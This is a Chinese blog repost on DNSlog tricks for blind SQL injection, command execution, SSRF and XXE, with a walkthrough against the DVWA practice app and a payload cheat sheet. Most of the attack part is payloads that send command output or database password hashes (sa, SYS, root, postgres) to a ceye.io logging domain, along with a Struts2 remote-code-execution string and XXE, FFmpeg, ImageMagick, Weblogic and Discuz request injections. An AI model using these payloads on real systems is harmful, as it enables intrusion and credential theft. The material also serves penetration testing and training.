首页 > 其他分享 >dnslog小技巧

dnslog小技巧

时间:2023-03-29 09:33:48浏览次数:63  
标签:返回 dnslog 技巧 io b182oj SELECT ceye select

大自然的搬运工
转载自https://www.cnblogs.com/sstfy/p/10351807.html

dnslog小技巧

 一、dnslog利用场景

主要针对无回显的情况。

  • Sql-Blind
  • RCE
  • SSRF
  • RFI(Remote File Inclusion)

二、原理

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

三、案例展示

1.sql盲注

  • 普通的注入
    输入 1' and '1'='1,查询成功,1' and '1'='2查询失败,结果为空

输入 1' or '1'='1 查询成功

综上,存在注入,字符型。

使用 order by 猜解出来字段为2。

显位,输入 1' union select 1,2 #

输入 1' union select user(),database() #获取当前用户及数据库

就不继续往下了,但盲注是不显位的,除了我们常规的猜数据库长度,二分法猜每个字母 acsii码 值外,就能用到dnslog了。

  • dnslog用于盲注
    判断注入
    输入 1, 2, 3, 4, 5 ,显示存在;
    输入 1' and '1'='1 ,显示存在;
    输入 1' and '1'='2 ,显示不存在。

存在注入,字符型。
这里就不用判断字段了,判断字段是为了后面显位。

这里直接使用 dnslog 平台的二级域名 0ox095.ceye.io。
输入如下查询数据库,然后到dnslog平台查看:

# dns查询有长度限制,必要的时候需要对查询结果做字符串切割。
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
?id=1' and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+ 
&Submit=Submit#

其中 and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+
解释如下:

- and    连接符,测试用 or 也可以
- if(x,1,0)    如果x为真输出1,为假输出0,在此不重要,主要是将 x带入数据库中,然后得出的结果进行dns解析成 dvwa.0ox095.ceye.io
- select    查询
- load_file()    读取文件内容
- concat    拼接字段,这里拼接成了 \\dvwa.0ox095.ceye.io\sql_test
- \\\\    widnows中用共享文件的时候就会用到这种网络地址的形式,而且转义问题所以前面4个\变成了2个,后面2个变成了1个,最终结果见上一行。
- select database()    查看当前数据库,查询的任何内容在此替换(如查表、字段、数据等)。
- 最后 --+ 为mysql注释,-- 后需要一个空格,用+代替。

完整流程:

# 爆数据库(mysql5.0以上版本才有information_schema数据库)
select schema_name from information_schema.schemata limit 0,1
select schema_name from information_schema.schemata limit 1,1
# 爆表(后面为数据库名或者其十六进制)
select table_name from information_schema.tables where table_schema='dvwa' limit 0,1
select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1
# 爆字段
select column_name from information_schema.columns where table_name='users' limit 0,1
# 爆数据
select user from users limit 0,1
select password from users limit 0,1
得到 admin / 5f4dcc3b5aa765d61d8327deb882cf99

2.命令执行

curl http://0ox095.ceye.io/`whoami`



win的常用变量

变量类型描述
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
%CD% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH% 系统 指定可执行文件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
%USERNAME% 本地 返回当前登录的用户的名称。
%USERPROFILE% 本地 返回当前用户的配置文件的位置。
%WINDIR% 系统 返回操作系统目录的位置。

其他payload

0x00 Command Execution

  • 1.*nix:
curl http://b182oj.ceye.io/`whoami`
ping `whoami`.b182oj.ceye.io
    1. windows
ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

  • 1.SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
  • 2.Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
  • 3.MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
  • 4.PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

0x02 XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

0x03 Others

  • 1.Struts2
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
  • 2 FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://b182oj.ceye.io
#EXT-X-ENDLIST
  • 3.Weblogic
 xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
  • 4.ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://b182oj.ceye.io)'
pop graphic-context
  • 5.Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
  • 6.Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

标签:返回,dnslog,技巧,io,b182oj,SELECT,ceye,select
From: https://www.cnblogs.com/yilishazi/p/17267559.html

相关文章

  • 【电脑操作技巧】重装系统之后的常用数据恢复方式和基础环境搭建
    这段时间我经历了人生中第一次(被迫)重装系统,有些数据的恢复花了好久才探索出来,因此,我想总结一下这几天的痛苦经历,重装系统或者购入新机的朋友可以看看。目录0.桌面恢复1.......
  • idea重构小技巧3,去掉临时变量
    idea重构小技巧2,去掉临时变量临时变量作为参数传递,很难阅读,提升了代码的阅读难度StringgroupId=context.getProcessModel().getOriginalMqMsg().getAlarmRule().getR......
  • mapbox-gl实战教程:加载各种底图技巧
    在地图开发中,加载底图是一个最基本的操作,使用在线开放底图、自己发布的底图、或是客户提供的给底图服务,都存在一定的规律,掌握规律就能顺利的进行底图加载,本文通过以下四个方......
  • PrimeFaces布局技巧
    PrimeFaces布局技巧作者:chszs布局组件Layout是一个高度可定制的边框布局模型,它可以很轻松地创建复杂的网页布局,即使不懂Web设计。一、布局组件Layout的属性布局组件Layout的......
  • Openfire使用上的一些技巧
    Openfire使用上的一些技巧作者:chszs1、把Openfire安装为系统服务对于RedHat、CentOS、Fedora之类的系统,可以采用RPM包安装Openfire,安装后自然有了Openfire服务。此时可以通......
  • API开发的版本控制技巧
    《API开发的版本控制技巧》作者:chszs在设计和构建API时,API的版本控制是非常重要的。必须确保新API对于现有的API不会造成破坏。首先,也是最重要的,可以把版本号放入API的URL中......
  • idea重构小技巧1,选中代码自动提取出来方法
    1.选中抽取方法选中代码右键->refactor->extractmethod生成新的方法,并放在当前同类下2.重新命名新抽取出来的方法为rewriteAlarmObject......
  • idea重构小技巧2,选中变量,抽取为常量
    1.选中写死的内容,抽取为常量2.定义常量名字,默认是INDEX3.常量代码存放地址......
  • 电脑技巧:推荐一款非常棒的截图软件X-Snip
    1、软件介绍X-Snip是一款可以解决不同类型用户在不同场景下使用截图工具时所面临的问题,并且适配了所有的Windows版本系统,整个软件只有一个exe文件,不涉及任何依赖项。安装包......
  • 容斥与反演技巧(二)
    年更大作FJOI2017矩阵填数\(\max=v\)拆成\(\lev\)和存在一个\(=v\),对第二个条件容斥发现变成\(<v\),离散化后对每个点求出上界直接算。复杂度\(O(n^32^n)\)。......